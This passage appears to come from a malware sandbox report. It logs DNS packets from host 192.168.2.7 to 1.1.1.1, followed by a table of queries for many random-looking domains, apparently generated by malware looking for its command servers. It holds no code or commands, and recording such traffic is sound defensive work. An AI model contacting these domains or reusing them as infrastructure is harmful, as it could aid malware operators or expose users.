Sep 7, 2024 15:33:05.237957954 CEST	63623	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.247647047 CEST	53	63623	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.313184023 CEST	57317	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.338696003 CEST	53	57317	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.415035963 CEST	65057	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.447642088 CEST	53	65057	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.449922085 CEST	54871	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.496790886 CEST	53	54871	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.553062916 CEST	51976	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.651896954 CEST	53	51976	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.655770063 CEST	49983	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.900065899 CEST	53	49983	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.943150043 CEST	58427	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.951951981 CEST	53	58427	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:05.954350948 CEST	55552	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:05.964083910 CEST	53	55552	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.023643017 CEST	54557	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.192420006 CEST	53	54557	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.195095062 CEST	60058	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.376049995 CEST	53	60058	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.427665949 CEST	59992	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.437387943 CEST	53	59992	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.440337896 CEST	58975	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.451878071 CEST	53	58975	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.506304026 CEST	55998	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.517091990 CEST	53	55998	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.519306898 CEST	53611	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.533067942 CEST	53	53611	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.583688974 CEST	53381	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.593494892 CEST	53	53381	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.598217010 CEST	58985	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.608396053 CEST	53	58985	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.666387081 CEST	51591	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.676819086 CEST	53	51591	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.688796997 CEST	53062	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:06.698215008 CEST	53	53062	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:06.772814989 CEST	60939	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.054413080 CEST	60939	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.106348991 CEST	53	60939	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.106623888 CEST	53	60939	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.114979029 CEST	58925	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.213247061 CEST	53	58925	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.255552053 CEST	60197	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.267457962 CEST	53	60197	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.269972086 CEST	54108	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.295497894 CEST	53	54108	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.349402905 CEST	57112	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.360179901 CEST	53	57112	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.373465061 CEST	65107	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.382078886 CEST	53	65107	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.430777073 CEST	61288	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.532658100 CEST	53	61288	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.542315006 CEST	49497	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.783588886 CEST	53	49497	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.844671011 CEST	52962	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:07.941287041 CEST	53	52962	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:07.948266983 CEST	51246	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.050724983 CEST	53	51246	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.138948917 CEST	54981	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.149401903 CEST	53	54981	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.372597933 CEST	58795	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.383377075 CEST	53	58795	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.433370113 CEST	57415	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.443105936 CEST	53	57415	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.472752094 CEST	53164	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.481738091 CEST	53	53164	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.537488937 CEST	64878	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.573138952 CEST	53	64878	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.592505932 CEST	62953	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.604075909 CEST	53	62953	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.612397909 CEST	64929	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.619761944 CEST	53	64929	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.661807060 CEST	52970	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.683821917 CEST	53	52970	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.695673943 CEST	58774	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:08.705965042 CEST	53	58774	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:08.762701035 CEST	61401	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:09.038011074 CEST	61401	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:09.456461906 CEST	53	61401	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:09.456496000 CEST	53	61401	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:09.464472055 CEST	62497	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:09.698860884 CEST	53	62497	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:09.740396023 CEST	57151	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:09.761714935 CEST	53	57151	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:09.959876060 CEST	65201	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:10.198167086 CEST	53	65201	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:10.204320908 CEST	62982	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:10.474441051 CEST	62982	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:10.538389921 CEST	53	62982	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:10.538420916 CEST	53	62982	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:10.584176064 CEST	55460	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:10.600368023 CEST	53	55460	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:10.604048014 CEST	51347	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:10.615999937 CEST	53	51347	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:10.663022041 CEST	54898	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:10.700727940 CEST	53	54898	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:10.704421997 CEST	60653	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:10.740434885 CEST	53	60653	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:10.787245989 CEST	59898	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.063162088 CEST	53	59898	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:11.066082001 CEST	50689	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.333550930 CEST	50689	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.341279030 CEST	53	50689	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:11.341933012 CEST	53	50689	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:11.380935907 CEST	63445	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.418459892 CEST	53	63445	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:11.424004078 CEST	59029	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.455566883 CEST	53	59029	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:11.506042004 CEST	58506	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.515181065 CEST	53	58506	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:11.518150091 CEST	56002	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.561484098 CEST	53	56002	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:11.615513086 CEST	59743	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.892088890 CEST	53	59743	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:11.929500103 CEST	50102	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:11.967987061 CEST	53	50102	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:12.019315004 CEST	63728	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:12.115621090 CEST	53	63728	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:12.130489111 CEST	53823	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:12.367455006 CEST	53	53823	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:12.459239960 CEST	55559	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:12.470611095 CEST	53	55559	1.1.1.1	192.168.2.7
Sep 7, 2024 15:33:12.474992037 CEST	52112	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:33:12.485862017 CEST	53	52112	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 7, 2024 15:29:07.839317083 CEST	192.168.2.7	1.1.1.1	0x1873	Standard query (0)	lpyfpbtetkhzg.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:08.569065094 CEST	192.168.2.7	1.1.1.1	0x86e8	Standard query (0)	lpyfpbtetkhzg.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:09.348592043 CEST	192.168.2.7	1.1.1.1	0x7be8	Standard query (0)	kwicmz.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:09.392638922 CEST	192.168.2.7	1.1.1.1	0x4219	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:10.118740082 CEST	192.168.2.7	1.1.1.1	0x2c91	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:10.942832947 CEST	192.168.2.7	1.1.1.1	0x5bd7	Standard query (0)	pqjeuad.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:11.048913956 CEST	192.168.2.7	1.1.1.1	0x13aa	Standard query (0)	pqjeuad.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:11.161865950 CEST	192.168.2.7	1.1.1.1	0x5ac4	Standard query (0)	dfludal.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:11.262645006 CEST	192.168.2.7	1.1.1.1	0x9b34	Standard query (0)	dfludal.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.214071035 CEST	192.168.2.7	1.1.1.1	0x6194	Standard query (0)	qyciviok.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.454099894 CEST	192.168.2.7	1.1.1.1	0x5c0e	Standard query (0)	qyciviok.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.661231041 CEST	192.168.2.7	1.1.1.1	0x7e0b	Standard query (0)	hsvwkprrgt.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.673824072 CEST	192.168.2.7	1.1.1.1	0x83d4	Standard query (0)	hsvwkprrgt.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.786045074 CEST	192.168.2.7	1.1.1.1	0xde85	Standard query (0)	kkigxqwacvc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.797812939 CEST	192.168.2.7	1.1.1.1	0x3477	Standard query (0)	kkigxqwacvc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.911195040 CEST	192.168.2.7	1.1.1.1	0x1b6a	Standard query (0)	rvfcpjg.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.922616959 CEST	192.168.2.7	1.1.1.1	0x6cba	Standard query (0)	rvfcpjg.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.036149979 CEST	192.168.2.7	1.1.1.1	0x7746	Standard query (0)	griusmc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.134032965 CEST	192.168.2.7	1.1.1.1	0x63f4	Standard query (0)	griusmc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.333198071 CEST	192.168.2.7	1.1.1.1	0xf7c0	Standard query (0)	gyiyincoocn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.438699007 CEST	192.168.2.7	1.1.1.1	0x4ce7	Standard query (0)	gyiyincoocn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.786056995 CEST	192.168.2.7	1.1.1.1	0xbe5	Standard query (0)	xekpfak.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.892705917 CEST	192.168.2.7	1.1.1.1	0xd79c	Standard query (0)	xekpfak.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:14.098618031 CEST	192.168.2.7	1.1.1.1	0x3d32	Standard query (0)	qckeguytcxe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:14.198863029 CEST	192.168.2.7	1.1.1.1	0x1cae	Standard query (0)	qckeguytcxe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:14.536209106 CEST	192.168.2.7	1.1.1.1	0xc8b2	Standard query (0)	eugqkqqmsoxw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:14.777906895 CEST	192.168.2.7	1.1.1.1	0x9461	Standard query (0)	eugqkqqmsoxw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.129950047 CEST	192.168.2.7	1.1.1.1	0xc3b6	Standard query (0)	qgqjhok.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.419487953 CEST	192.168.2.7	1.1.1.1	0x5ee0	Standard query (0)	qgqjhok.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.567497015 CEST	192.168.2.7	1.1.1.1	0x723c	Standard query (0)	rsyjwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.857279062 CEST	192.168.2.7	1.1.1.1	0xb101	Standard query (0)	rsyjwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.973782063 CEST	192.168.2.7	1.1.1.1	0xb2d5	Standard query (0)	ealcaecqmb.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.987112045 CEST	192.168.2.7	1.1.1.1	0xf895	Standard query (0)	ealcaecqmb.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:16.114510059 CEST	192.168.2.7	1.1.1.1	0xda6c	Standard query (0)	ijiivko.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:17.395550013 CEST	192.168.2.7	1.1.1.1	0x2ee2	Standard query (0)	jiqdofwws.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:17.685492992 CEST	192.168.2.7	1.1.1.1	0xd69f	Standard query (0)	jiqdofwws.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:17.848627090 CEST	192.168.2.7	1.1.1.1	0xb48e	Standard query (0)	oyimlslily.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.090353012 CEST	192.168.2.7	1.1.1.1	0x205c	Standard query (0)	oyimlslily.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.302011013 CEST	192.168.2.7	1.1.1.1	0x1e77	Standard query (0)	ydeuwpkoggpc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.339405060 CEST	192.168.2.7	1.1.1.1	0x3bcc	Standard query (0)	ydeuwpkoggpc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.489362955 CEST	192.168.2.7	1.1.1.1	0xf372	Standard query (0)	zrazytuksyynx.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.791950941 CEST	192.168.2.7	1.1.1.1	0xda04	Standard query (0)	zrazytuksyynx.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.942610025 CEST	192.168.2.7	1.1.1.1	0x4e	Standard query (0)	gjqkbir.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.954129934 CEST	192.168.2.7	1.1.1.1	0x7453	Standard query (0)	gjqkbir.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.067614079 CEST	192.168.2.7	1.1.1.1	0xecdd	Standard query (0)	vmtsa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.091165066 CEST	192.168.2.7	1.1.1.1	0x981b	Standard query (0)	vmtsa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.208069086 CEST	192.168.2.7	1.1.1.1	0x9032	Standard query (0)	ysuyeyy.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.219146013 CEST	192.168.2.7	1.1.1.1	0x4182	Standard query (0)	ysuyeyy.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.332968950 CEST	192.168.2.7	1.1.1.1	0xa0c6	Standard query (0)	vumild.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.458323956 CEST	192.168.2.7	1.1.1.1	0x26d5	Standard query (0)	ngvbglykgy.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.469861031 CEST	192.168.2.7	1.1.1.1	0xdef6	Standard query (0)	ngvbglykgy.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.583396912 CEST	192.168.2.7	1.1.1.1	0xb6bc	Standard query (0)	kechmqowm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.627635956 CEST	192.168.2.7	1.1.1.1	0x7efc	Standard query (0)	kechmqowm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.973850965 CEST	192.168.2.7	1.1.1.1	0xa6bd	Standard query (0)	ueksnsqyyyg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.145456076 CEST	192.168.2.7	1.1.1.1	0xb4ba	Standard query (0)	pjaqmqmoqcayg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.244709015 CEST	192.168.2.7	1.1.1.1	0xa142	Standard query (0)	pjaqmqmoqcayg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.458172083 CEST	192.168.2.7	1.1.1.1	0x81e2	Standard query (0)	eigqttiycrc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.469378948 CEST	192.168.2.7	1.1.1.1	0x38d9	Standard query (0)	eigqttiycrc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.583019972 CEST	192.168.2.7	1.1.1.1	0xbb2e	Standard query (0)	qoqeshgucneic.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.626480103 CEST	192.168.2.7	1.1.1.1	0x7cda	Standard query (0)	qoqeshgucneic.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.771742105 CEST	192.168.2.7	1.1.1.1	0x662d	Standard query (0)	aapmqiiiuvkxg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.810471058 CEST	192.168.2.7	1.1.1.1	0x5546	Standard query (0)	aapmqiiiuvkxg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.972995996 CEST	192.168.2.7	1.1.1.1	0x76da	Standard query (0)	ucsapnaiqm.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.985733986 CEST	192.168.2.7	1.1.1.1	0x75f3	Standard query (0)	ucsapnaiqm.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.098826885 CEST	192.168.2.7	1.1.1.1	0x51c2	Standard query (0)	ewvqusoagenzk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.110131025 CEST	192.168.2.7	1.1.1.1	0xb4	Standard query (0)	ewvqusoagenzk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.223876953 CEST	192.168.2.7	1.1.1.1	0x7446	Standard query (0)	zmpswnz.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.328310013 CEST	192.168.2.7	1.1.1.1	0x418d	Standard query (0)	zmpswnz.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.803385973 CEST	192.168.2.7	1.1.1.1	0x679d	Standard query (0)	dwsbbsvuhe.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:24.958199024 CEST	192.168.2.7	1.1.1.1	0xd279	Standard query (0)	avfqcqwcybf.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:24.970031023 CEST	192.168.2.7	1.1.1.1	0x9c76	Standard query (0)	avfqcqwcybf.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.083031893 CEST	192.168.2.7	1.1.1.1	0xc21	Standard query (0)	mwnaobzwzsh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.187031984 CEST	192.168.2.7	1.1.1.1	0x228a	Standard query (0)	mwnaobzwzsh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.395469904 CEST	192.168.2.7	1.1.1.1	0xdce9	Standard query (0)	uqmkaeeiked.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.407346010 CEST	192.168.2.7	1.1.1.1	0x35f	Standard query (0)	uqmkaeeiked.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.520708084 CEST	192.168.2.7	1.1.1.1	0xc669	Standard query (0)	vcuuf.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.552431107 CEST	192.168.2.7	1.1.1.1	0xbfdc	Standard query (0)	vcuuf.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.676873922 CEST	192.168.2.7	1.1.1.1	0x4d5b	Standard query (0)	bhenbcwauwx.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.721539974 CEST	192.168.2.7	1.1.1.1	0xbf4c	Standard query (0)	bhenbcwauwx.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.864268064 CEST	192.168.2.7	1.1.1.1	0x2e33	Standard query (0)	uyjswuwmg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:27.036446095 CEST	192.168.2.7	1.1.1.1	0xcf8c	Standard query (0)	gjckwlq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:27.141840935 CEST	192.168.2.7	1.1.1.1	0x1a57	Standard query (0)	gjckwlq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:27.489495039 CEST	192.168.2.7	1.1.1.1	0x45a9	Standard query (0)	ojaqe.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:28.614257097 CEST	192.168.2.7	1.1.1.1	0x1e00	Standard query (0)	lolhuubcqsoiy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:28.651384115 CEST	192.168.2.7	1.1.1.1	0xcce5	Standard query (0)	lolhuubcqsoiy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:28.802628040 CEST	192.168.2.7	1.1.1.1	0xe94a	Standard query (0)	beoklokipnezm.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:30.849800110 CEST	192.168.2.7	1.1.1.1	0xbfaf	Standard query (0)	qkrvauy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:30.952095985 CEST	192.168.2.7	1.1.1.1	0xf62f	Standard query (0)	qkrvauy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.161375999 CEST	192.168.2.7	1.1.1.1	0x1374	Standard query (0)	gwkwx.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.172915936 CEST	192.168.2.7	1.1.1.1	0xd042	Standard query (0)	gwkwx.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.301836014 CEST	192.168.2.7	1.1.1.1	0x57e9	Standard query (0)	xqrztuoigko.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.313990116 CEST	192.168.2.7	1.1.1.1	0xe812	Standard query (0)	xqrztuoigko.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.426995993 CEST	192.168.2.7	1.1.1.1	0x7dbe	Standard query (0)	axbgscodpaey.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.594789028 CEST	192.168.2.7	1.1.1.1	0x41d9	Standard query (0)	axbgscodpaey.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.865098000 CEST	192.168.2.7	1.1.1.1	0x1b57	Standard query (0)	hpgkccdfe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.969966888 CEST	192.168.2.7	1.1.1.1	0x744c	Standard query (0)	hpgkccdfe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:32.084363937 CEST	192.168.2.7	1.1.1.1	0x9b06	Standard query (0)	cwbge.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:32.248259068 CEST	192.168.2.7	1.1.1.1	0xeb00	Standard query (0)	cwbge.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:32.520791054 CEST	192.168.2.7	1.1.1.1	0xc3d5	Standard query (0)	kgvdlkf.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.520565987 CEST	192.168.2.7	1.1.1.1	0xee7a	Standard query (0)	tvxadcy.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.531702042 CEST	192.168.2.7	1.1.1.1	0xf045	Standard query (0)	tvxadcy.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.656112909 CEST	192.168.2.7	1.1.1.1	0x7365	Standard query (0)	tsssp.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.764121056 CEST	192.168.2.7	1.1.1.1	0x9d6c	Standard query (0)	tsssp.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.973870993 CEST	192.168.2.7	1.1.1.1	0x130f	Standard query (0)	ggkwptwmi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:35.213478088 CEST	192.168.2.7	1.1.1.1	0xd363	Standard query (0)	ggkwptwmi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:35.551975012 CEST	192.168.2.7	1.1.1.1	0xe1f9	Standard query (0)	ruuzeooenoy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:36.082195997 CEST	192.168.2.7	1.1.1.1	0x59cc	Standard query (0)	ruuzeooenoy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:36.395637989 CEST	192.168.2.7	1.1.1.1	0xed8c	Standard query (0)	ngicq.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:37.567608118 CEST	192.168.2.7	1.1.1.1	0xc8eb	Standard query (0)	iiuchwvui.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:38.723874092 CEST	192.168.2.7	1.1.1.1	0xccfe	Standard query (0)	slmkgcf.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:38.976767063 CEST	192.168.2.7	1.1.1.1	0xaaaf	Standard query (0)	slmkgcf.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.098813057 CEST	192.168.2.7	1.1.1.1	0xfc43	Standard query (0)	hwjgrdoadgakmq.nu	A (IP address)	IN (0x0001)	false
